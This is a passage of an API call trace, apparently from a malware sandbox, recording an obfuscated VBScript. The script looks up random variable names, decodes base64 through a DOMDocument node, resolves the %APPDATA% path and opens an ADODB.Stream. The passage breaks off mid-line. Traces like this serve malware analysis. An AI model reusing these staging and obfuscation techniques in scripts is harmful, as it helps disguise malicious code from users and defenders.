[4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14a9b4 | out: ppvObject=0x14a9b4*=0x0) returned 0x80004002 [0068.838] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a978 | out: ppvObject=0x14a978*=0x83fd480) returned 0x0 [0068.838] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a974 | out: ppvObject=0x14a974*=0x83fd490) returned 0x0 [0068.838] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14a9b4 | out: ppvObject=0x14a9b4*=0x0) returned 0x80004002 [0068.839] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0068.839] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0068.839] DOMDocument:IUnknown:Release (This=0x1112920) returned 0x3 [0068.839] DOMDocument:IUnknown:Release (This=0x1112920) returned 0x2 [0068.839] DOMDocument:IUnknown:QueryInterface (in: This=0x1112920, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14ba50 | out: ppvObject=0x14ba50*=0x1112920) returned 0x0 [0068.839] DOMDocument:IServiceProvider:QueryService (in: This=0x1112920, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x14ba54 | out: ppvObject=0x14ba54*=0x0) returned 0x80004002 [0068.839] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14ba24 | out: ppvObject=0x14ba24*=0x83fd480) returned 0x0 [0068.839] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14ba20 | out: ppvObject=0x14ba20*=0x83fd490) returned 0x0 [0068.839] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x14ba54 | out: ppvObject=0x14ba54*=0x0) returned 0x80004002 [0068.839] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0068.839] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0068.839] DOMDocument:IUnknown:Release (This=0x1112920) returned 0x2 [0068.839] DOMDocument:IUnknown:Release (This=0x554824) returned 0x1 [0068.839] DOMDocument:IUnknown:QueryInterface (in: This=0x5547f8, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14bae4 | out: ppvObject=0x14bae4*=0x5553a0) returned 0x0 [0068.839] DOMDocument:IUnknown:AddRef (This=0x5553a0) returned 0x2 [0068.839] DOMDocument:IUnknown:Release (This=0x5553a0) returned 0x1 [0068.839] DOMDocument:IUnknown:Release (This=0x5547f8) returned 0x2 [0068.839] DOMDocument:IUnknown:QueryInterface (in: This=0x5553a0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbcc | out: ppvObject=0x14bbcc*=0x5553d4) returned 0x0 [0068.840] DOMDocument:IDispatchEx:GetDispId (in: This=0x5553d4, bstrName="CreateElement", grfdex=0x8, pid=0x14bbe8 | out: pid=0x14bbe8*=41) returned 0x0 [0068.840] DOMDocument:IUnknown:Release (This=0x5553d4) returned 0x1 [0068.840] DOMDocument:IUnknown:AddRef (This=0x5553a0) returned 0x2 [0068.840] DOMDocument:IUnknown:QueryInterface (in: This=0x5553a0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbd4 | out: ppvObject=0x14bbd4*=0x5553d4) returned 0x0 [0068.840] DOMDocument:IDispatchEx:InvokeEx (in: This=0x5553d4, id=41, lcid=0x409, wFlags=0x3, pdp=0x14bba0*(rgvarg=([0]=0x83d66d8*(varType=0x8, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1="aux", varVal2=0x87e491c)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarRes=0x14bcb4, pei=0x14bb7c, pspCaller=0x846d1c8 | out: pdp=0x14bba0*(rgvarg=([0]=0x83d66d8*(varType=0x8, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1="aux", varVal2=0x87e491c)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarRes=0x14bcb4*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x555450, varVal2=0x0), pei=0x14bb7c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0068.840] DOMDocument:IUnknown:Release (This=0x5553d4) returned 0x2 [0068.840] DOMDocument:IUnknown:Release (This=0x5553a0) returned 0x1 [0068.840] DOMDocument:IUnknown:QueryInterface (in: This=0x555450, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bac4 | out: ppvObject=0x14bac4*=0x555430) returned 0x0 [0068.840] DOMDocument:IUnknown:Release (This=0x555450) returned 0x1 [0068.840] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0068.841] DOMDocument:IUnknown:Release (This=0x1112a88) returned 0x0 [0068.841] ??3@YAXPAX@Z () returned 0x110001 [0068.841] DOMDocument:IUnknown:AddRef (This=0x555430) returned 0x2 [0068.841] ??3@YAXPAX@Z () returned 0x840001 [0068.841] free (_Block=0x11c7d90) [0068.841] ??3@YAXPAX@Z () returned 0x4a0001 [0068.841] ??3@YAXPAX@Z () returned 0xffff0001 [0068.842] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0068.842] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="odjeiojfyd2f8fu34u", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0068.842] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="odjeiojfyd2f8fu34u", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0068.842] GetCurrentThreadId () returned 0xd44 [0068.842] IUnknown:Release (This=0x1197760) returned 0x7 [0068.842] ??2@YAPAXI@Z () returned 0x86a0bf0 [0068.842] malloc (_Size=0x804) returned 0x8790008 [0068.842] ??2@YAPAXI@Z () returned 0x8460768 [0068.842] ??3@YAXPAX@Z () returned 0x1 [0068.842] malloc (_Size=0x204) returned 0x8790818 [0068.842] malloc (_Size=0x40) returned 0x1197838 [0068.843] malloc (_Size=0x124) returned 0x83cedd8 [0068.843] ??2@YAPAXI@Z () returned 0x11291c0 [0068.843] free (_Block=0x83d08e0) [0068.843] free (_Block=0x8790008) [0068.843] ??3@YAXPAX@Z () returned 0xffff0001 [0068.843] free (_Block=0x1197838) [0068.843] free (_Block=0x8790818) [0068.843] free (_Block=0x11c2300) [0068.843] ??2@YAPAXI@Z () returned 0x86a0bf0 [0068.843] ??2@YAPAXI@Z () returned 0x83fd610 [0068.843] IUnknown:AddRef (This=0x1197760) returned 0x8 [0068.844] _wcsicmp (_String1="wslausfychks", _String2="age64Dicode") returned 22 [0068.844] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0068.844] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbcc | out: ppvObject=0x14bbcc*=0x555430) returned 0x0 [0068.844] DOMDocument:IDispatchEx:GetDispId (in: This=0x555430, bstrName="DataType", grfdex=0x8, pid=0x14bbe8 | out: pid=0x14bbe8*=26) returned 0x0 [0068.844] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0068.844] DOMDocument:IUnknown:AddRef (This=0x555430) returned 0x2 [0068.844] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbd4 | out: ppvObject=0x14bbd4*=0x555430) returned 0x0 [0068.844] DOMDocument:IDispatchEx:InvokeEx (in: This=0x555430, id=26, lcid=0x409, wFlags=0x4, pdp=0x14bba0*(rgvarg=([0]=0x14badc*(varType=0x8, wReserved1=0x11c, wReserved2=0x2b, wReserved3=0x0, varVal1="bin.base64", varVal2=0x802)), rgdispidNamedArgs=([0]=0x14bb9c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x14bb7c, pspCaller=0x846d1c8 | out: pdp=0x14bba0*(rgvarg=([0]=0x14badc*(varType=0x8, wReserved1=0x11c, wReserved2=0x2b, wReserved3=0x0, varVal1="bin.base64", varVal2=0x802)), rgdispidNamedArgs=([0]=0x14bb9c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x14bb7c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0068.845] DOMDocument:IUnknown:Release (This=0x555430) returned 0x2 [0068.845] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0068.845] ??3@YAXPAX@Z () returned 0x840001 [0068.845] free (_Block=0x83cedd8) [0068.845] ??3@YAXPAX@Z () returned 0x4a0001 [0068.845] ??3@YAXPAX@Z () returned 0xffff0001 [0068.846] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0068.846] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="vartyzx", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0068.846] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="vartyzx", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0068.846] GetCurrentThreadId () returned 0xd44 [0068.846] IUnknown:Release (This=0x1197760) returned 0x7 [0068.846] malloc (_Size=0x404) returned 0x1198748 [0068.846] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0068.846] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="vartx", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0068.846] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="vartx", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0068.846] GetCurrentThreadId () returned 0xd44 [0068.846] IUnknown:Release (This=0x1197760) returned 0x7 [0068.847] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0068.847] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="rey45r3t3e3yhju", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0068.847] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="rey45r3t3e3yhju", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0068.847] GetCurrentThreadId () returned 0xd44 [0068.847] IUnknown:Release (This=0x1197760) returned 0x7 [0068.847] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0068.848] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="biehigw3r8r38uh", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0068.848] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="biehigw3r8r38uh", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0068.848] GetCurrentThreadId () returned 0xd44 [0068.848] IUnknown:Release (This=0x1197760) returned 0x7 [0068.848] ??2@YAPAXI@Z () returned 0x86a0bf0 [0068.848] malloc (_Size=0x804) returned 0x8790008 [0068.848] ??2@YAPAXI@Z () returned 0x8460768 [0068.848] ??3@YAXPAX@Z () returned 0x1 [0068.848] malloc (_Size=0x204) returned 0x8790818 [0068.848] malloc (_Size=0x40) returned 0x1197838 [0068.848] malloc (_Size=0x110) returned 0x8460768 [0068.849] ??2@YAPAXI@Z () returned 0x11291c0 [0068.849] free (_Block=0x83d08e0) [0068.849] free (_Block=0x8790008) [0068.849] ??3@YAXPAX@Z () returned 0xffff0001 [0068.849] free (_Block=0x1197838) [0068.849] free (_Block=0x8790818) [0068.849] free (_Block=0x11c2300) [0068.849] ??2@YAPAXI@Z () returned 0x86a0bf0 [0068.849] ??2@YAPAXI@Z () returned 0x83fd610 [0068.849] IUnknown:AddRef (This=0x1197760) returned 0x8 [0068.850] _wcsicmp (_String1="cvwtr5ycbve", _String2="age64Dicode") returned 2 [0068.850] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0068.850] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbcc | out: ppvObject=0x14bbcc*=0x555430) returned 0x0 [0068.850] DOMDocument:IDispatchEx:GetDispId (in: This=0x555430, bstrName="Text", grfdex=0x8, pid=0x14bbe8 | out: pid=0x14bbe8*=24) returned 0x0 [0068.850] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0068.850] DOMDocument:IUnknown:AddRef (This=0x555430) returned 0x2 [0068.850] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbd4 | out: ppvObject=0x14bbd4*=0x555430) returned 0x0 [0068.850] DOMDocument:IDispatchEx:InvokeEx (in: This=0x555430, id=24, lcid=0x409, wFlags=0x4, pdp=0x14bba0*(rgvarg=([0]=0x14badc*(varType=0x8, wReserved1=0x5b, wReserved2=0xbfe0, wReserved3=0x14, varVal1="QWxsRmF0YSA9IHNoZWxsb2JqLmV4cGFuZEVudmlyb25tZW50U3RyaW5ncygiICUgQVBQRCIgKyAiQVRBICVcIik=", varVal2=0x1197764)), rgdispidNamedArgs=([0]=0x14bb9c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x14bb7c, pspCaller=0x846d1c8 | out: pdp=0x14bba0*(rgvarg=([0]=0x14badc*(varType=0x8, wReserved1=0x5b, wReserved2=0xbfe0, wReserved3=0x14, varVal1="QWxsRmF0YSA9IHNoZWxsb2JqLmV4cGFuZEVudmlyb25tZW50U3RyaW5ncygiICUgQVBQRCIgKyAiQVRBICVcIik=", varVal2=0x1197764)), rgdispidNamedArgs=([0]=0x14bb9c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x14bb7c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0068.850] DOMDocument:IUnknown:Release (This=0x555430) returned 0x2 [0068.850] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0068.851] ??3@YAXPAX@Z () returned 0x840001 [0068.851] free (_Block=0x8460768) [0068.851] ??3@YAXPAX@Z () returned 0x4a0001 [0068.851] ??3@YAXPAX@Z () returned 0xffff0001 [0068.851] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14beb8 | out: ppvObject=0x14beb8*=0x555430) returned 0x0 [0068.851] DOMDocument:IDispatchEx:GetDispId (in: This=0x555430, bstrName="NodeTypedValue", grfdex=0x8, pid=0x14bed4 | out: pid=0x14bed4*=25) returned 0x0 [0068.851] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0068.851] DOMDocument:IUnknown:AddRef (This=0x555430) returned 0x2 [0068.851] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bec0 | out: ppvObject=0x14bec0*=0x555430) returned 0x0 [0068.852] DOMDocument:IDispatchEx:InvokeEx (in: This=0x555430, id=25, lcid=0x409, wFlags=0x3, pdp=0x14be8c*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarRes=0x83d6718, pei=0x14be68, pspCaller=0x846d1c8 | out: pdp=0x14be8c*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarRes=0x83d6718*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6ae4db8*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6b4dce0*, rgsabound=((cElements=0x41, lLbound=0))), varVal2=0x0), pei=0x14be68*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0068.852] DOMDocument:IUnknown:Release (This=0x555430) returned 0x2 [0068.852] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0068.852] IUnknown:AddRef (This=0x1197760) returned 0x8 [0068.852] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0068.853] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="lfkfdiooie", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0068.853] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="lfkfdiooie", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0068.853] GetCurrentThreadId () returned 0xd44 [0068.853] IUnknown:Release (This=0x1197760) returned 0x8 [0068.853] ??2@YAPAXI@Z () returned 0x838c578 [0068.853] GetCurrentThreadId () returned 0xd44 [0068.853] ??2@YAPAXI@Z () returned 0x1105cd0 [0068.853] malloc (_Size=0x40) returned 0x1197838 [0068.853] malloc (_Size=0x104) returned 0x8460768 [0068.853] LCMapStringW (in: Locale=0x409, dwMapFlags=0x100, lpSrcStr="utf-8", cchSrc=5, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 5 [0068.853] LCMapStringW (in: Locale=0x409, dwMapFlags=0x100, lpSrcStr="utf-8", cchSrc=5, lpDestStr=0x6b1ca7c, cchDest=5 | out: lpDestStr="utf-8") returned 5 [0068.854] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0068.854] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="vgct783hth", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0068.854] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="vgct783hth", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0068.854] GetCurrentThreadId () returned 0xd44 [0068.854] IUnknown:Release (This=0x1197760) returned 0x8 [0068.854] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0068.854] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="piiing", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0068.854] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="piiing", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0068.854] GetCurrentThreadId () returned 0xd44 [0068.854] IUnknown:Release (This=0x1197760) returned 0x8 [0068.855] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0068.855] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="ldiwuywfj", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0068.855] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="ldiwuywfj", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0068.855] GetCurrentThreadId () returned 0xd44 [0068.855] IUnknown:Release (This=0x1197760) returned 0x8 [0068.855] malloc (_Size=0x204) returned 0x1198b58 [0068.855] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0068.855] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="lsvosfouwoupwiot", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0068.855] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="lsvosfouwoupwiot", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0068.855] GetCurrentThreadId () returned 0xd44 [0068.856] IUnknown:Release (This=0x1197760) returned 0x8 [0068.856] ??2@YAPAXI@Z () returned 0x86a0bf0 [0068.856] malloc (_Size=0x804) returned 0x8790008 [0068.856] ??2@YAPAXI@Z () returned 0x1198d68 [0068.856] ??3@YAXPAX@Z () returned 0x1 [0068.856] malloc (_Size=0x204) returned 0x8790818 [0068.856] malloc (_Size=0x40) returned 0x1197880 [0068.856] malloc (_Size=0x120) returned 0x1198d68 [0068.856] ??2@YAPAXI@Z () returned 0x11291c0 [0068.856] free (_Block=0x83d08e0) [0068.856] free (_Block=0x8790008) [0068.857] ??3@YAXPAX@Z () returned 0xffff0001 [0068.857] free (_Block=0x1197880) [0068.857] free (_Block=0x8790818) [0068.857] free (_Block=0x11c2300) [0068.857] ??2@YAPAXI@Z () returned 0x86a0bf0 [0068.857] ??2@YAPAXI@Z () returned 0x83fd610 [0068.857] IUnknown:AddRef (This=0x1197760) returned 0x9 [0068.857] _wcsicmp (_String1="aaax", _String2="BytesToStr") returned -1 [0068.857] CLSIDFromProgIDEx (in: lpszProgID="ADODB.Stream", lpclsid=0x14b8f8 | out: lpclsid=0x14b8f8*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4))) returned 0x0 [0068.857] SysStringLen (param_1=0x0) returned 0x0 [0068.857] CoGetClassObject (in: rclsid=0x14b8f8*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x14b8e8 | out: ppv=0x14b8e8*=0x962b2d0) returned 0x0 [0068.858] Stream:IUnknown:QueryInterface (in: This=0x962b2d0, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x14b8e4 | 